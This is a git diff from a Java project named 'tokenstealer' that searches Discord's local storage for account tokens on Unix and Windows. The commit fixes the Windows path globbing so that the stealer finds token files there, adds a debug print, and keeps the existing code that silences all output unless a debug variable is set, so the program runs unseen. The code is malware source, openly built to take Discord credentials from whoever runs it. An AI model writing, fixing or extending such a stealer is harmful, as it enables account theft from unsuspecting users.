diff --git a/.gitignore b/.gitignore index 38fa0a8..06d0806 100644 --- a/.gitignore +++ b/.gitignore @@ -4,3 +4,4 @@ build/ .gradle/ *.localstorage tokens.txt +tokenstealer.iml \ No newline at end of file diff --git a/build.gradle b/build.gradle index 7405842..7f2b855 100644 --- a/build.gradle +++ b/build.gradle @@ -29,6 +29,7 @@ shadowJar { } sourceCompatibility = 1.8 +targetCompatibility = 1.8 repositories { mavenCentral() diff --git a/src/main/java/de/romjaki/tokenstealer/Main.java b/src/main/java/de/romjaki/tokenstealer/Main.java index 80e0942..f52a5ef 100644 --- a/src/main/java/de/romjaki/tokenstealer/Main.java +++ b/src/main/java/de/romjaki/tokenstealer/Main.java @@ -18,10 +18,11 @@ public static void main(String[] args) { public void write(int i) { } }); - if (!Objects.equals(System.getenv("DEBUG_DISCORDTS"), "true")) { + if (!Objects.equals(System.getenv("DEBUG_DISCORDTS"), "true")) { System.setOut(nullStream); System.setErr(nullStream); } + System.out.println("DEBUG ACTIVATE!"); Config.load(args); if (Config.INSTANCE == null) { Builder builder = new Builder(); diff --git a/src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java b/src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java index d595ccd..8d465db 100644 --- a/src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java +++ b/src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java @@ -12,11 +12,12 @@ import java.util.ArrayList; import java.util.Collections; import java.util.List; +import java.util.Objects; import java.util.stream.Stream; public class Stealer { private static final String UNIX_LOCALSTORAGE = "glob:" + System.getenv("HOME") + "/.config/discord*/Local Storage/*discordapp*_0.localstorage"; - private static final String WINDOWS_LOCALSTORAGE = "glob:" + System.getenv("APPDATA") + "\\discord*\\Local Storage\\*discordapp*_0.localstorage"; + private static final String WINDOWS_LOCALSTORAGE = "glob:" + System.getenv("APPDATA") + "/discord*/Local Storage/*discordapp*_0.localstorage"; public static void steal() { try { @@ -134,7 +135,9 @@ public FileVisitResult visitFileFailed(Path file, IOException exc) { } private static List getWindowsDiscordLocations() { - return globRecurse(WINDOWS_LOCALSTORAGE, System.getenv("APPDATA")); + + return globRecurse(WINDOWS_LOCALSTORAGE.replace("\\", "/"), + System.getenv("APPDATA").replace("\\", "/")); } private static List getUnixDiscordLocations() {